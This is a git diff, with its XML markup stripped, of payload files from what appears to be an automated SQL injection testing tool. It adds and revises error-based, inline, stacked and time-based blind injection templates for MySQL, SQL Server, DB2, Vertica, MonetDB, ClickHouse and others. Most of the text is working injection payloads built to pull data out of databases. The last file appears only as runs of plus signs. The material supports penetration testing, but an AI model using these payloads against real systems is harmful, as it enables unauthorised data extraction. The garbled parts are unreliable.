- - - MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) - 2 - 2 - 3 - 1,2,3,8,9 - - 1 - OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) + (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) - - OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) + (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL - >= 5.1 + >= 5.0
@@ -282,7 +342,7 @@ MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) 2 - 2 + 5 1 1,2,3,8,9 1 @@ -307,7 +367,7 @@ MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR) 2 - 2 + 5 3 1,8,9 1 @@ -332,7 +392,7 @@ MySQL OR error-based - WHERE or HAVING clause (FLOOR) 2 - 3 + 5 3 1,8,9 2 @@ -404,7 +464,6 @@
Microsoft SQL Server Sybase - Windows
@@ -425,7 +484,6 @@
Microsoft SQL Server Sybase - Windows
@@ -446,7 +504,6 @@
Microsoft SQL Server Sybase - Windows
@@ -467,7 +524,6 @@
Microsoft SQL Server Sybase - Windows
@@ -488,7 +544,6 @@
Microsoft SQL Server Sybase - Windows
@@ -509,7 +564,6 @@
Microsoft SQL Server Sybase - Windows
@@ -672,7 +726,7 @@ 2 3 1 - 1,9 + 1 1 AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') @@ -689,9 +743,9 @@ Firebird OR error-based - WHERE or HAVING clause 2 - 3 + 4 3 - 1,9 + 1 2 OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') @@ -704,6 +758,159 @@ Firebird
+ + + MonetDB AND error-based - WHERE or HAVING clause + 2 + 3 + 1 + 1 + 1 + AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MonetDB +
+
+ + + MonetDB OR error-based - WHERE or HAVING clause + 2 + 4 + 3 + 1 + 2 + OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MonetDB +
+
+ + + Vertica AND error-based - WHERE or HAVING clause + 2 + 3 + 1 + 1 + 1 + AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC) + + AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Vertica +
+
+ + + Vertica OR error-based - WHERE or HAVING clause + 2 + 4 + 3 + 1 + 2 + OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC) + + OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Vertica +
+
+ + + IBM DB2 AND error-based - WHERE or HAVING clause + 2 + 3 + 1 + 1 + 1 + AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ IBM DB2 +
+
+ + + IBM DB2 OR error-based - WHERE or HAVING clause + 2 + 4 + 3 + 1 + 1 + OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ IBM DB2 +
+
+ + + ClickHouse AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause + 2 + 3 + 1 + 1,2,3,9 + 1 + AND [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]') + + AND [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ ClickHouse +
+
+ + + ClickHouse OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause + 2 + 4 + 3 + 1,2,3,9 + 1 + OR [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]') + + OR [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ ClickHouse +
+
+ @@ -1029,6 +1273,26 @@
+ + MySQL >= 5.6 error-based - ORDER BY, GROUP BY clause (GTID_SUBSET) + 2 + 3 + 1 + 2,3 + 1 + ,GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM]) + + ,GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.6 +
+
+ MySQL >= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS) 2 @@ -1052,7 +1316,7 @@ MySQL >= 5.0 error-based - ORDER BY, GROUP BY clause (FLOOR) 2 - 3 + 5 1 2,3 1 @@ -1072,7 +1336,7 @@ MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (EXTRACTVALUE) 2 - 4 + 3 1 2,3 1 @@ -1112,7 +1376,7 @@ MySQL >= 4.1 error-based - ORDER BY, GROUP BY clause (FLOOR) 2 - 2 + 5 1 2,3 1 @@ -1129,7 +1393,6 @@ - PostgreSQL error-based - ORDER BY, GROUP BY clause 2 @@ -1185,7 +1448,6 @@
Microsoft SQL Server Sybase - Windows
@@ -1213,7 +1475,7 @@ 2 5 1 - 2,3 + 3 1 ,(SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')) @@ -1226,9 +1488,51 @@ Firebird
+ + + IBM DB2 error-based - ORDER BY clause + 2 + 5 + 1 + 3 + 1 + ,RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + ,RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ IBM DB2 +
+
+ + + + Microsoft SQL Server/Sybase error-based - Stacking (EXEC) + 2 + 2 + 1 + 1-8 + 1 + ;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]');EXEC @[RANDSTR] + + ;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]');EXEC @[RANDSTR] + -- + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Microsoft SQL Server + Sybase +
+
+ diff --git a/xml/payloads/inline_query.xml b/data/xml/payloads/inline_query.xml similarity index 64% rename from xml/payloads/inline_query.xml rename to data/xml/payloads/inline_query.xml index b49d538346b..7269be695c4 100644 --- a/xml/payloads/inline_query.xml +++ b/data/xml/payloads/inline_query.xml @@ -3,19 +3,31 @@ - MySQL inline queries + Generic inline queries 3 1 1 1,2,3,8 3 + (SELECT CONCAT(CONCAT('[DELIMITER_START]',([QUERY])),'[DELIMITER_STOP]')) + + (SELECT CONCAT(CONCAT('[DELIMITER_START]',(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + + + + + MySQL inline queries + 3 + 2 + 1 + 1,2,3,8 + 3 (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) - - (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) + (SELECT CONCAT('[DELIMITER_START]',(ELT([RANDNUM]=[RANDNUM],1)),'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -28,7 +40,7 @@ PostgreSQL inline queries 3 - 1 + 2 1 1,2,3,8 3 @@ -47,13 +59,13 @@ Microsoft SQL Server/Sybase inline queries 3 - 1 + 2 1 1,2,3,8 3 (SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]') - (SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]') + (SELECT '[DELIMITER_START]'+(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)+'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -61,7 +73,6 @@
Microsoft SQL Server Sybase - Windows
@@ -74,7 +85,8 @@ 3 (SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL) - (SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]' FROM DUAL) + + (SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) END)||'[DELIMITER_STOP]' FROM DUAL) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -93,7 +105,7 @@ 3 SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' - SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))||'[DELIMITER_STOP]' + SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -121,5 +133,25 @@ Firebird
+ + + ClickHouse inline queries + 3 + 3 + 1 + 1,2,3,8 + 3 + ('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]') + + ('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ ClickHouse +
+
+
diff --git a/xml/payloads/stacked_queries.xml b/data/xml/payloads/stacked_queries.xml similarity index 91% rename from xml/payloads/stacked_queries.xml rename to data/xml/payloads/stacked_queries.xml index 1471df7d057..b431bb7849f 100644 --- a/xml/payloads/stacked_queries.xml +++ b/data/xml/payloads/stacked_queries.xml @@ -3,7 +3,7 @@ - MySQL > 5.0.11 stacked queries (comment) + MySQL >= 5.0.12 stacked queries (comment) 4 2 1 @@ -19,12 +19,12 @@
MySQL - > 5.0.11 + >= 5.0.12
- MySQL > 5.0.11 stacked queries + MySQL >= 5.0.12 stacked queries 4 3 1 @@ -39,12 +39,12 @@
MySQL - > 5.0.11 + >= 5.0.12
- MySQL > 5.0.11 stacked queries (query SLEEP - comment) + MySQL >= 5.0.12 stacked queries (query SLEEP - comment) 4 3 1 @@ -60,12 +60,12 @@
MySQL - > 5.0.11 + >= 5.0.12
- MySQL > 5.0.11 stacked queries (query SLEEP) + MySQL >= 5.0.12 stacked queries (query SLEEP) 4 4 1 @@ -80,12 +80,12 @@
MySQL - > 5.0.11 + >= 5.0.12
- MySQL < 5.0.12 stacked queries (heavy query - comment) + MySQL < 5.0.12 stacked queries (BENCHMARK - comment) 4 3 2 @@ -105,7 +105,7 @@ - MySQL < 5.0.12 stacked queries (heavy query) + MySQL < 5.0.12 stacked queries (BENCHMARK) 4 5 2 @@ -264,7 +264,27 @@
Microsoft SQL Server Sybase - Windows +
+
+ + + Microsoft SQL Server/Sybase stacked queries (DECLARE - comment) + 4 + 2 + 1 + 1-8 + 1 + ;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];IF([INFERENCE]) WAITFOR DELAY @x + + ;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];WAITFOR DELAY @x + -- + + + + +
+ Microsoft SQL Server + Sybase
@@ -285,7 +305,26 @@
Microsoft SQL Server Sybase - Windows +
+
+ + + Microsoft SQL Server/Sybase stacked queries (DECLARE) + 4 + 5 + 1 + 1-8 + 1 + ;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];IF([INFERENCE]) WAITFOR DELAY @x + + ;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];WAITFOR DELAY @x + + + + +
+ Microsoft SQL Server + Sybase
@@ -447,7 +486,7 @@ IBM DB2 stacked queries (heavy query - comment) - 5 + 4 3 2 1-8 @@ -467,7 +506,7 @@ IBM DB2 stacked queries (heavy query) - 5 + 4 5 2 1-8 @@ -568,7 +607,7 @@ SAP MaxDB stacked queries (heavy query - comment) - 5 + 4 4 2 1-8 @@ -588,7 +627,7 @@ SAP MaxDB stacked queries (heavy query) - 5 + 4 5 2 1-8 diff --git a/xml/payloads/time_blind.xml b/data/xml/payloads/time_blind.xml similarity index 89% rename from xml/payloads/time_blind.xml rename to data/xml/payloads/time_blind.xml index 6423a8050ab..21a50ce4016 100644 --- a/xml/payloads/time_blind.xml +++ b/data/xml/payloads/time_blind.xml @@ -2,16 +2,18 @@ + + - MySQL >= 5.0.12 AND time-based blind + MySQL >= 5.0.12 AND time-based blind (query SLEEP) 5 1 1 1,2,3,8,9 1 - AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) + AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) - AND SLEEP([SLEEPTIME]) + AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) @@ -23,15 +25,15 @@ - MySQL >= 5.0.12 OR time-based blind + MySQL >= 5.0.12 OR time-based blind (query SLEEP) 5 1 3 1,2,3,9 1 - OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) + OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) - OR SLEEP([SLEEPTIME]) + OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) @@ -43,16 +45,15 @@ - MySQL >= 5.0.12 AND time-based blind (comment) + MySQL >= 5.0.12 AND time-based blind (SLEEP) 5 - 3 + 2 1 - 1,2,3,9 + 1,2,3,8,9 1 AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) AND SLEEP([SLEEPTIME]) - # @@ -64,16 +65,15 @@ - MySQL >= 5.0.12 OR time-based blind (comment) + MySQL >= 5.0.12 OR time-based blind (SLEEP) 5 - 3 + 2 3 1,2,3,9 1 OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) OR SLEEP([SLEEPTIME]) - # @@ -85,15 +85,16 @@ - MySQL >= 5.0.12 AND time-based blind (query SLEEP) + MySQL >= 5.0.12 AND time-based blind (SLEEP - comment) 5 - 2 + 3 1 - 1,2,3,8,9 + 1,2,3,9 1 - AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) - AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + AND SLEEP([SLEEPTIME]) + # @@ -105,15 +106,16 @@ - MySQL >= 5.0.12 OR time-based blind (query SLEEP) + MySQL >= 5.0.12 OR time-based blind (SLEEP - comment) 5 - 2 + 3 3 1,2,3,9 1 - OR (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) - OR (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + OR SLEEP([SLEEPTIME]) + # @@ -131,9 +133,9 @@ 1 1,2,3,9 1 - AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) - AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) # @@ -152,9 +154,9 @@ 3 1,2,3,9 1 - OR (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) - OR (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) # @@ -167,7 +169,7 @@ - MySQL <= 5.0.11 AND time-based blind (heavy query) + MySQL < 5.0.12 AND time-based blind (BENCHMARK) 5 2 2 @@ -182,12 +184,32 @@
MySQL - <= 5.0.11 + < 5.0.12 +
+
+ + + MySQL > 5.0.12 AND time-based blind (heavy query) + 5 + 3 + 2 + 1,2,3,8,9 + 1 + AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) + + AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1) + + + + +
+ MySQL + > 5.0.12
- MySQL <= 5.0.11 OR time-based blind (heavy query) + MySQL < 5.0.12 OR time-based blind (BENCHMARK) 5 2 3 @@ -202,12 +224,32 @@
MySQL - <= 5.0.11 + < 5.0.12 +
+
+ + + MySQL > 5.0.12 OR time-based blind (heavy query) + 5 + 3 + 3 + 1,2,3,9 + 1 + OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) + + OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1) + + + + +
+ MySQL + > 5.0.12
- MySQL <= 5.0.11 AND time-based blind (heavy query - comment) + MySQL < 5.0.12 AND time-based blind (BENCHMARK - comment) 5 5 2 @@ -223,12 +265,33 @@
MySQL - <= 5.0.11 + < 5.0.12
- MySQL <= 5.0.11 OR time-based blind (heavy query - comment) + MySQL > 5.0.12 AND time-based blind (heavy query - comment) + 5 + 5 + 2 + 1,2,3,9 + 1 + AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) + + AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1) + # + + + + +
+ MySQL + > 5.0.12 +
+
+ + + MySQL < 5.0.12 OR time-based blind (BENCHMARK - comment) 5 5 3 @@ -244,7 +307,28 @@
MySQL - <= 5.0.11 + < 5.0.12 +
+
+ + + MySQL > 5.0.12 OR time-based blind (heavy query - comment) + 5 + 5 + 3 + 1,2,3,9 + 1 + OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) + + OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1) + # + + + + +
+ MySQL + > 5.0.12
@@ -296,9 +380,9 @@ 1 1,2,3,9 1 - RLIKE (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) - RLIKE (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) @@ -316,9 +400,9 @@ 1 1,2,3,9 1 - RLIKE (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) - RLIKE (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) # @@ -586,7 +670,6 @@
Microsoft SQL Server Sybase - Windows
@@ -608,7 +691,6 @@
Microsoft SQL Server Sybase - Windows
@@ -629,7 +711,6 @@
Microsoft SQL Server Sybase - Windows
@@ -650,7 +731,6 @@
Microsoft SQL Server Sybase - Windows
@@ -672,7 +752,6 @@
Microsoft SQL Server Sybase - Windows
@@ -694,7 +773,6 @@
Microsoft SQL Server Sybase - Windows
@@ -1416,6 +1494,44 @@ + + ClickHouse AND time-based blind (heavy query) + 5 + 4 + 1 + 1,2,3 + 1 + AND [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(if(([INFERENCE]), 1000000, 1))) + + AND [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(1000000)) + + + + +
+ ClickHouse +
+
+ + + ClickHouse OR time-based blind (heavy query) + 5 + 5 + 3 + 1,2,3 + 1 + OR [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(if(([INFERENCE]), 1000000, 1))) + + OR [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(1000000)) + + + + +
+ ClickHouse +
+
+ @@ -1490,9 +1606,9 @@ 1 1,2,3,9 3 - (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) - (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) @@ -1504,7 +1620,7 @@ - MySQL <= 5.0.11 time-based blind - Parameter replace (heavy queries) + MySQL < 5.0.12 time-based blind - Parameter replace (BENCHMARK) 5 4 2 @@ -1519,7 +1635,27 @@
MySQL - <= 5.0.11 + < 5.0.12 +
+ + + + MySQL > 5.0.12 time-based blind - Parameter replace (heavy query - comment) + 5 + 5 + 2 + 1,2,3,9 + 3 + IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) + + (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1) + + + + +
+ MySQL + > 5.0.12
@@ -1636,7 +1772,6 @@
Microsoft SQL Server Sybase - Windows
@@ -1783,7 +1918,7 @@ 4 2 1,2,3,9 - 1 + 3 (SELECT (CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) @@ -1803,7 +1938,7 @@ 5 2 1,2,3,9 - 1 + 3 (SELECT (CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM (VALUES(0))) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM (VALUES(0))) @@ -1859,7 +1994,7 @@ - MySQL <= 5.0.11 time-based blind - ORDER BY, GROUP BY clause (heavy query) + MySQL < 5.0.12 time-based blind - ORDER BY, GROUP BY clause (BENCHMARK) 5 4 2 @@ -1874,7 +2009,7 @@
MySQL - <= 5.0.11 + < 5.0.12
@@ -1934,7 +2069,6 @@
Microsoft SQL Server Sybase - Windows
diff --git a/xml/payloads/union_query.xml b/data/xml/payloads/union_query.xml similarity index 100% rename from xml/payloads/union_query.xml rename to data/xml/payloads/union_query.xml diff --git a/data/xml/queries.xml b/data/xml/queries.xml new file mode 100644 index 00000000000..5196459cc33 --- /dev/null +++ b/data/xml/queries.xml @@ -0,0 +1,1846 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 